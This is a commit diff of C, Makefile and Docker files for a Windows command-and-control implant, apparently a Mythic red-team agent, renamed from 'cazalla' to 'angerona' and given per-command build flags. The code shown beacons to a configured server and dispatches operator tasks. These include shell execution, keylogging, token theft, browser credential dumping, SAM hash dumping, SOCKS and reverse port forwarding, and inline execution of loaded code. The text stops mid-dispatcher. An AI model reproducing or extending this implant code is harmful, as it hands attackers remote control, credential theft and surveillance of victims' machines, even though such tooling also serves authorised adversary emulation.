Compare commits
10 Commits
0d3f51e7f8
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 9a8700a3b2 | |||
| 445dcc8494 | |||
| 6e82a8253c | |||
| 120de6778d | |||
| e5d3260f64 | |||
| 9f660b169b | |||
| 05d084bb6c | |||
| bda69f74f9 | |||
| 380a498980 | |||
| 014bc87eaa |
@@ -43,10 +43,10 @@ ENV MYTHIC_SERVER_PASSWORD="mythic_password"
|
|||||||
WORKDIR /Mythic/
|
WORKDIR /Mythic/
|
||||||
|
|
||||||
# Copiar estructura completa del proyecto
|
# Copiar estructura completa del proyecto
|
||||||
COPY ./ /Mythic/cazalla/
|
COPY ./ /Mythic/angerona/
|
||||||
|
|
||||||
# Asegurar que los permisos sean correctos para Python
|
# Asegurar que los permisos sean correctos para Python
|
||||||
RUN chmod -R a+rX /Mythic/cazalla/
|
RUN chmod -R a+rX /Mythic/angerona/
|
||||||
|
|
||||||
# --- Comando por defecto ---
|
# --- Comando por defecto ---
|
||||||
CMD ["python3", "main.py"]
|
CMD ["python3", "main.py"]
|
||||||
@@ -65,5 +65,5 @@ docker-compose.yml
|
|||||||
mythic-cli
|
mythic-cli
|
||||||
|
|
||||||
# Agent code build directories (will be built inside container)
|
# Agent code build directories (will be built inside container)
|
||||||
cazalla/agent_code/cazalla/build/
|
angerona/agent_code/angerona/build/
|
||||||
|
|
||||||
@@ -47,7 +47,7 @@ ENV SYSLOG_FACILITY="16"
|
|||||||
# --- Copia tu código de translator ---
|
# --- Copia tu código de translator ---
|
||||||
# This COPY ensures local changes are included when USE_BUILD_CONTEXT=true
|
# This COPY ensures local changes are included when USE_BUILD_CONTEXT=true
|
||||||
WORKDIR /Mythic/
|
WORKDIR /Mythic/
|
||||||
COPY ./ /Mythic/cazalla/
|
COPY ./ /Mythic/angerona/
|
||||||
|
|
||||||
# --- Comando por defecto ---
|
# --- Comando por defecto ---
|
||||||
CMD ["python3", "main.py"]
|
CMD ["python3", "main.py"]
|
||||||
+15
-12
@@ -38,6 +38,9 @@ else
|
|||||||
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
|
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
|
||||||
endif
|
endif
|
||||||
|
|
||||||
|
# Command enable flags (passed from builder.py)
|
||||||
|
COMMAND_FLAGS ?=
|
||||||
|
|
||||||
# Debug flags based on level
|
# Debug flags based on level
|
||||||
DEBUG_FLAGS = -DDEBUG_SOCKS -g
|
DEBUG_FLAGS = -DDEBUG_SOCKS -g
|
||||||
ifeq ($(DEBUG_LEVEL_NUM),0)
|
ifeq ($(DEBUG_LEVEL_NUM),0)
|
||||||
@@ -62,24 +65,24 @@ $(shell mkdir -p $(BUILD_DIR))
|
|||||||
all: exe dll
|
all: exe dll
|
||||||
debug: debug_exe debug_dll
|
debug: debug_exe debug_dll
|
||||||
|
|
||||||
exe: $(BUILD_DIR)/cazalla.exe
|
exe: $(BUILD_DIR)/angerona.exe
|
||||||
dll: $(BUILD_DIR)/cazalla.dll
|
dll: $(BUILD_DIR)/angerona.dll
|
||||||
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
|
debug_exe: $(BUILD_DIR)/angerona-debug.exe
|
||||||
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
debug_dll: $(BUILD_DIR)/angerona-debug.dll
|
||||||
|
|
||||||
# Executable Target
|
# Executable Target
|
||||||
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
$(BUILD_DIR)/angerona.exe: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
$(BUILD_DIR)/angerona-debug.exe: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
|
||||||
|
|
||||||
# DLL Target
|
# DLL Target
|
||||||
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
$(BUILD_DIR)/angerona.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
$(BUILD_DIR)/angerona-debug.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS)
|
||||||
|
|
||||||
# Clean up
|
# Clean up
|
||||||
clean:
|
clean:
|
||||||
+1
-1
@@ -1,7 +1,7 @@
|
|||||||
#include "SistemadeFicheros.h"
|
#include "SistemadeFicheros.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "transporte.h"
|
#include "transporte.h"
|
||||||
#include "cazalla.h" // For context tracking functions
|
#include "angerona.h" // For context tracking functions
|
||||||
|
|
||||||
/* Forward decl to avoid implicit declaration on some toolchains */
|
/* Forward decl to avoid implicit declaration on some toolchains */
|
||||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||||
+33
-33
@@ -1,9 +1,9 @@
|
|||||||
#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration
|
#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
|
||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
#include "Config.h"
|
#include "Config.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
|
|
||||||
CONFIG_CAZALLA* cazallaConfig = NULL;
|
CONFIG_ANGERONA* angeronaConfig = NULL;
|
||||||
|
|
||||||
/* Context tracking: Current working directory and impersonation context */
|
/* Context tracking: Current working directory and impersonation context */
|
||||||
static char gCurrentDirectory[MAX_PATH] = "";
|
static char gCurrentDirectory[MAX_PATH] = "";
|
||||||
@@ -48,26 +48,26 @@ VOID clearImpersonationContext(void) {
|
|||||||
gImpersonationContext[0] = '\0';
|
gImpersonationContext[0] = '\0';
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID cazallaMain() {
|
VOID angeronaMain() {
|
||||||
_inf("Inicializando configuración de Cazalla");
|
_inf("Inicializando configuración de Angerona");
|
||||||
|
|
||||||
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
angeronaConfig = (CONFIG_ANGERONA*)LocalAlloc(LPTR, sizeof(CONFIG_ANGERONA));
|
||||||
if (!cazallaConfig) {
|
if (!angeronaConfig) {
|
||||||
_err("Error: fallo en LocalAlloc para cazallaConfig");
|
_err("Error: fallo en LocalAlloc para angeronaConfig");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
cazallaConfig->idAgente = (PCHAR)initUUID;
|
angeronaConfig->idAgente = (PCHAR)initUUID;
|
||||||
cazallaConfig->hostName = (PWCHAR)hostname;
|
angeronaConfig->hostName = (PWCHAR)hostname;
|
||||||
cazallaConfig->puertoHttp = port;
|
angeronaConfig->puertoHttp = port;
|
||||||
cazallaConfig->endPoint = (PWCHAR)endpoint;
|
angeronaConfig->endPoint = (PWCHAR)endpoint;
|
||||||
cazallaConfig->userAgent = (PWCHAR)useragent;
|
angeronaConfig->userAgent = (PWCHAR)useragent;
|
||||||
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
|
angeronaConfig->metodoHttp = (PWCHAR)httpmethod;
|
||||||
cazallaConfig->SSL = ssl;
|
angeronaConfig->SSL = ssl;
|
||||||
cazallaConfig->proxyHabilitado= proxyenabled;
|
angeronaConfig->proxyHabilitado= proxyenabled;
|
||||||
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
angeronaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||||
cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
|
angeronaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
|
||||||
cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
|
angeronaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
|
||||||
|
|
||||||
// Debug: print the raw values
|
// Debug: print the raw values
|
||||||
_dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
|
_dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
|
||||||
@@ -75,26 +75,26 @@ VOID cazallaMain() {
|
|||||||
_dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
|
_dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
|
||||||
|
|
||||||
// Initialize AESPSK encryption if enabled
|
// Initialize AESPSK encryption if enabled
|
||||||
if (cazallaConfig->encryptionEnabled) {
|
if (angeronaConfig->encryptionEnabled) {
|
||||||
_inf("Inicializando cifrado AES256-HMAC...");
|
_inf("Inicializando cifrado AES256-HMAC...");
|
||||||
if (crypto_init_aespsk(AESPSK_KEY)) {
|
if (crypto_init_aespsk(AESPSK_KEY)) {
|
||||||
_inf("Cifrado habilitado");
|
_inf("Cifrado habilitado");
|
||||||
} else {
|
} else {
|
||||||
_err("Falló la inicialización del cifrado");
|
_err("Falló la inicialización del cifrado");
|
||||||
cazallaConfig->encryptionEnabled = FALSE;
|
angeronaConfig->encryptionEnabled = FALSE;
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
_inf("Cifrado deshabilitado");
|
_inf("Cifrado deshabilitado");
|
||||||
}
|
}
|
||||||
_dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
|
_dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
|
||||||
cazallaConfig->idAgente,
|
angeronaConfig->idAgente,
|
||||||
cazallaConfig->hostName,
|
angeronaConfig->hostName,
|
||||||
cazallaConfig->puertoHttp,
|
angeronaConfig->puertoHttp,
|
||||||
(int)cazallaConfig->SSL,
|
(int)angeronaConfig->SSL,
|
||||||
(int)cazallaConfig->proxyHabilitado,
|
(int)angeronaConfig->proxyHabilitado,
|
||||||
cazallaConfig->endPoint,
|
angeronaConfig->endPoint,
|
||||||
cazallaConfig->userAgent,
|
angeronaConfig->userAgent,
|
||||||
cazallaConfig->tiempoSleep);
|
angeronaConfig->tiempoSleep);
|
||||||
|
|
||||||
_inf("Iniciando primer checkin...");
|
_inf("Iniciando primer checkin...");
|
||||||
PAnalizador respuestaAnalizador = checkin();
|
PAnalizador respuestaAnalizador = checkin();
|
||||||
@@ -106,7 +106,7 @@ VOID cazallaMain() {
|
|||||||
|
|
||||||
parseChecking(respuestaAnalizador);
|
parseChecking(respuestaAnalizador);
|
||||||
|
|
||||||
_inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", cazallaConfig->tiempoSleep);
|
_inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", angeronaConfig->tiempoSleep);
|
||||||
|
|
||||||
while (TRUE) {
|
while (TRUE) {
|
||||||
rutina();
|
rutina();
|
||||||
@@ -116,13 +116,13 @@ VOID cazallaMain() {
|
|||||||
_dbg("SOCKS activo -> checkin rápido (100 ms)");
|
_dbg("SOCKS activo -> checkin rápido (100 ms)");
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
} else {
|
} else {
|
||||||
_dbg("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
|
_dbg("SOCKS inactivo -> durmiendo %u ms", angeronaConfig->tiempoSleep);
|
||||||
Sleep(cazallaConfig->tiempoSleep);
|
Sleep(angeronaConfig->tiempoSleep);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID setUUID(PCHAR newUUID) {
|
VOID setUUID(PCHAR newUUID) {
|
||||||
cazallaConfig->idAgente = newUUID;
|
angeronaConfig->idAgente = newUUID;
|
||||||
_dbg("UUID actualizado: %s", newUUID);
|
_dbg("UUID actualizado: %s", newUUID);
|
||||||
}
|
}
|
||||||
+5
-5
@@ -1,6 +1,6 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#ifndef CAZALLA_H
|
#ifndef ANGERONA_H
|
||||||
#define CAZALLA_H
|
#define ANGERONA_H
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
@@ -25,9 +25,9 @@ typedef struct {
|
|||||||
|
|
||||||
UINT32 tiempoSleep;
|
UINT32 tiempoSleep;
|
||||||
BOOL encryptionEnabled;
|
BOOL encryptionEnabled;
|
||||||
} CONFIG_CAZALLA, *PCONFIG_CAZALLA;
|
} CONFIG_ANGERONA, *PCONFIG_ANGERONA;
|
||||||
|
|
||||||
extern PCONFIG_CAZALLA cazallaConfig;
|
extern PCONFIG_ANGERONA angeronaConfig;
|
||||||
|
|
||||||
/* Context tracking functions */
|
/* Context tracking functions */
|
||||||
PCHAR getCurrentDirectoryContext(void);
|
PCHAR getCurrentDirectoryContext(void);
|
||||||
@@ -37,6 +37,6 @@ VOID setImpersonationContext(PCHAR context);
|
|||||||
VOID clearImpersonationContext(void);
|
VOID clearImpersonationContext(void);
|
||||||
|
|
||||||
VOID setUUID(PCHAR newUUID);
|
VOID setUUID(PCHAR newUUID);
|
||||||
VOID cazallaMain(void);
|
VOID angeronaMain(void);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
+2
-2
@@ -1,5 +1,5 @@
|
|||||||
#include "checkin.h"
|
#include "checkin.h"
|
||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
#include "paquete.h" // For addCallbackContext
|
#include "paquete.h" // For addCallbackContext
|
||||||
#include "identity.h" // For IdentityGetUserInfo
|
#include "identity.h" // For IdentityGetUserInfo
|
||||||
@@ -132,7 +132,7 @@ PAnalizador checkin() {
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
addString(checkin, (PCHAR)angeronaConfig->idAgente, FALSE);
|
||||||
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
||||||
addInt32(checkin, numeroDeIPs);
|
addInt32(checkin, numeroDeIPs);
|
||||||
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
||||||
+120
-29
@@ -1,14 +1,18 @@
|
|||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
#include "rpfwd_manager.h"
|
#include "rpfwd_manager.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
|
||||||
/* Forward: handlers for the new commands */
|
/* Forward: handlers for the new commands */
|
||||||
|
#ifdef ENABLE_SOCKS_CMD
|
||||||
static void startSocksHandler(PAnalizador analizadorTarea);
|
static void startSocksHandler(PAnalizador analizadorTarea);
|
||||||
static void stopSocksHandler(PAnalizador analizadorTarea);
|
static void stopSocksHandler(PAnalizador analizadorTarea);
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_RPFWD_CMD
|
||||||
static void startRpfwdHandler(PAnalizador analizadorTarea);
|
static void startRpfwdHandler(PAnalizador analizadorTarea);
|
||||||
static void stopRpfwdHandler(PAnalizador analizadorTarea);
|
static void stopRpfwdHandler(PAnalizador analizadorTarea);
|
||||||
|
#endif
|
||||||
|
|
||||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||||
_inf("========== handleGetTasking INICIO ==========");
|
_inf("========== handleGetTasking INICIO ==========");
|
||||||
@@ -100,42 +104,84 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
}
|
}
|
||||||
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
|
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
|
||||||
|
|
||||||
|
#ifdef ENABLE_SHELL_CMD
|
||||||
if (tarea == SHELL_CMD){
|
if (tarea == SHELL_CMD){
|
||||||
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
|
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
|
||||||
ejecutarConsola(analizadorTarea);
|
ejecutarConsola(analizadorTarea);
|
||||||
} else if (tarea == EXIT_CMD) {
|
} else if (tarea == EXIT_CMD) {
|
||||||
|
#else
|
||||||
|
if (tarea == EXIT_CMD) {
|
||||||
|
#endif
|
||||||
cerrarCallback(analizadorTarea);
|
cerrarCallback(analizadorTarea);
|
||||||
} else if (tarea == SLEEP_CMD){
|
} else if (tarea == SLEEP_CMD){
|
||||||
sleep(analizadorTarea);
|
sleep(analizadorTarea);
|
||||||
} else if (tarea == PROCESS_CMD){
|
}
|
||||||
|
#ifdef ENABLE_PS_CMD
|
||||||
|
else if (tarea == PROCESS_CMD){
|
||||||
listarProcesos(analizadorTarea);
|
listarProcesos(analizadorTarea);
|
||||||
} else if (tarea == CD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_CD_CMD
|
||||||
|
else if (tarea == CD_CMD) {
|
||||||
CambiarDirectorio(analizadorTarea);
|
CambiarDirectorio(analizadorTarea);
|
||||||
} else if (tarea == LS_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_LS_CMD
|
||||||
|
else if (tarea == LS_CMD) {
|
||||||
ListarDirectorio(analizadorTarea);
|
ListarDirectorio(analizadorTarea);
|
||||||
} else if (tarea == PWD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_PWD_CMD
|
||||||
|
else if (tarea == PWD_CMD) {
|
||||||
ObtenerPath(analizadorTarea);
|
ObtenerPath(analizadorTarea);
|
||||||
} else if (tarea == CP_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_CP_CMD
|
||||||
|
else if (tarea == CP_CMD) {
|
||||||
CopiarFichero(analizadorTarea);
|
CopiarFichero(analizadorTarea);
|
||||||
} else if (tarea == MKDIR_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_MKDIR_CMD
|
||||||
|
else if (tarea == MKDIR_CMD) {
|
||||||
CrearRuta(analizadorTarea);
|
CrearRuta(analizadorTarea);
|
||||||
} else if (tarea == RM_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_RM_CMD
|
||||||
|
else if (tarea == RM_CMD) {
|
||||||
EliminarRuta(analizadorTarea);
|
EliminarRuta(analizadorTarea);
|
||||||
} else if (tarea == CAT_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_CAT_CMD
|
||||||
|
else if (tarea == CAT_CMD) {
|
||||||
LeerFichero(analizadorTarea);
|
LeerFichero(analizadorTarea);
|
||||||
} else if (tarea == DOWNLOAD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_DOWNLOAD_CMD
|
||||||
|
else if (tarea == DOWNLOAD_CMD) {
|
||||||
DescargarFichero(analizadorTarea);
|
DescargarFichero(analizadorTarea);
|
||||||
} else if (tarea == UPLOAD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_UPLOAD_CMD
|
||||||
|
else if (tarea == UPLOAD_CMD) {
|
||||||
SubirFichero(analizadorTarea);
|
SubirFichero(analizadorTarea);
|
||||||
} else if (tarea == SCREENSHOT_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_SCREENSHOT_CMD
|
||||||
|
else if (tarea == SCREENSHOT_CMD) {
|
||||||
CapturarPantalla(analizadorTarea);
|
CapturarPantalla(analizadorTarea);
|
||||||
} else if (tarea == START_SOCKS_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_SOCKS_CMD
|
||||||
|
else if (tarea == START_SOCKS_CMD) {
|
||||||
_dbg("Received START_SOCKS_CMD");
|
_dbg("Received START_SOCKS_CMD");
|
||||||
startSocksHandler(analizadorTarea);
|
startSocksHandler(analizadorTarea);
|
||||||
} else if (tarea == STOP_SOCKS_CMD) {
|
} else if (tarea == STOP_SOCKS_CMD) {
|
||||||
_dbg("Received STOP_SOCKS_CMD");
|
_dbg("Received STOP_SOCKS_CMD");
|
||||||
stopSocksHandler(analizadorTarea);
|
stopSocksHandler(analizadorTarea);
|
||||||
} else if (tarea == START_RPFWD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_RPFWD_CMD
|
||||||
|
else if (tarea == START_RPFWD_CMD) {
|
||||||
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
|
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
|
||||||
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
|
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
|
||||||
startRpfwdHandler(analizadorTarea);
|
startRpfwdHandler(analizadorTarea);
|
||||||
@@ -143,61 +189,102 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
} else if (tarea == STOP_RPFWD_CMD) {
|
} else if (tarea == STOP_RPFWD_CMD) {
|
||||||
_dbg("Received STOP_RPFWD_CMD");
|
_dbg("Received STOP_RPFWD_CMD");
|
||||||
stopRpfwdHandler(analizadorTarea);
|
stopRpfwdHandler(analizadorTarea);
|
||||||
} else if (tarea == KEYLOG_START_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_KEYLOG_START_CMD
|
||||||
|
else if (tarea == KEYLOG_START_CMD) {
|
||||||
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
||||||
StartKeylogger(analizadorTarea);
|
StartKeylogger(analizadorTarea);
|
||||||
_inf("===== KEYLOG_START_CMD COMPLETED =====");
|
_inf("===== KEYLOG_START_CMD COMPLETED =====");
|
||||||
} else if (tarea == KEYLOG_STOP_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_KEYLOG_STOP_CMD
|
||||||
|
else if (tarea == KEYLOG_STOP_CMD) {
|
||||||
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
||||||
StopKeylogger(analizadorTarea);
|
StopKeylogger(analizadorTarea);
|
||||||
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
||||||
} else if (tarea == LIST_TOKENS_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_LIST_TOKENS_CMD
|
||||||
|
else if (tarea == LIST_TOKENS_CMD) {
|
||||||
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
|
||||||
ListarTokens(analizadorTarea);
|
ListarTokens(analizadorTarea);
|
||||||
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
|
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
|
||||||
} else if (tarea == STEAL_TOKEN_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_STEAL_TOKEN_CMD
|
||||||
|
else if (tarea == STEAL_TOKEN_CMD) {
|
||||||
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
|
||||||
RobarToken(analizadorTarea);
|
RobarToken(analizadorTarea);
|
||||||
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
|
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
|
||||||
} else if (tarea == MAKE_TOKEN_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_MAKE_TOKEN_CMD
|
||||||
|
else if (tarea == MAKE_TOKEN_CMD) {
|
||||||
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
|
||||||
CrearToken(analizadorTarea);
|
CrearToken(analizadorTarea);
|
||||||
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
|
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
|
||||||
} else if (tarea == REV2SELF_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_REV2SELF_CMD
|
||||||
|
else if (tarea == REV2SELF_CMD) {
|
||||||
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
|
||||||
RevertirToken(analizadorTarea);
|
RevertirToken(analizadorTarea);
|
||||||
_inf("===== REV2SELF_CMD COMPLETED =====");
|
_inf("===== REV2SELF_CMD COMPLETED =====");
|
||||||
} else if (tarea == WHOAMI_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_WHOAMI_CMD
|
||||||
|
else if (tarea == WHOAMI_CMD) {
|
||||||
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
|
||||||
ObtenerUsuarioActual(analizadorTarea);
|
ObtenerUsuarioActual(analizadorTarea);
|
||||||
_inf("===== WHOAMI_CMD COMPLETED =====");
|
_inf("===== WHOAMI_CMD COMPLETED =====");
|
||||||
} else if (tarea == KILL_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_KILL_CMD
|
||||||
|
else if (tarea == KILL_CMD) {
|
||||||
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
|
||||||
MatarProceso(analizadorTarea);
|
MatarProceso(analizadorTarea);
|
||||||
_inf("===== KILL_CMD COMPLETED =====");
|
_inf("===== KILL_CMD COMPLETED =====");
|
||||||
} else if (tarea == BROWSER_INFO_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_BROWSER_INFO_CMD
|
||||||
|
else if (tarea == BROWSER_INFO_CMD) {
|
||||||
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
|
||||||
IdentificarNavegadores(analizadorTarea);
|
IdentificarNavegadores(analizadorTarea);
|
||||||
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
|
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
|
||||||
} else if (tarea == BROWSER_DUMP_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_BROWSER_DUMP_CMD
|
||||||
|
else if (tarea == BROWSER_DUMP_CMD) {
|
||||||
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
|
||||||
DumparNavegador(analizadorTarea);
|
DumparNavegador(analizadorTarea);
|
||||||
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
|
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
|
||||||
} else if (tarea == SAMDUMP_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_SAMDUMP_CMD
|
||||||
|
else if (tarea == SAMDUMP_CMD) {
|
||||||
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
|
||||||
SamDumpHandler(analizadorTarea);
|
SamDumpHandler(analizadorTarea);
|
||||||
_inf("===== SAMDUMP_CMD COMPLETED =====");
|
_inf("===== SAMDUMP_CMD COMPLETED =====");
|
||||||
} else if (tarea == INLINE_EXECUTE_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_INLINE_EXECUTE_CMD
|
||||||
|
else if (tarea == INLINE_EXECUTE_CMD) {
|
||||||
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
|
||||||
InlineExecuteHandler(analizadorTarea);
|
InlineExecuteHandler(analizadorTarea);
|
||||||
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
|
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
|
||||||
} else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
|
||||||
|
else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
|
||||||
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
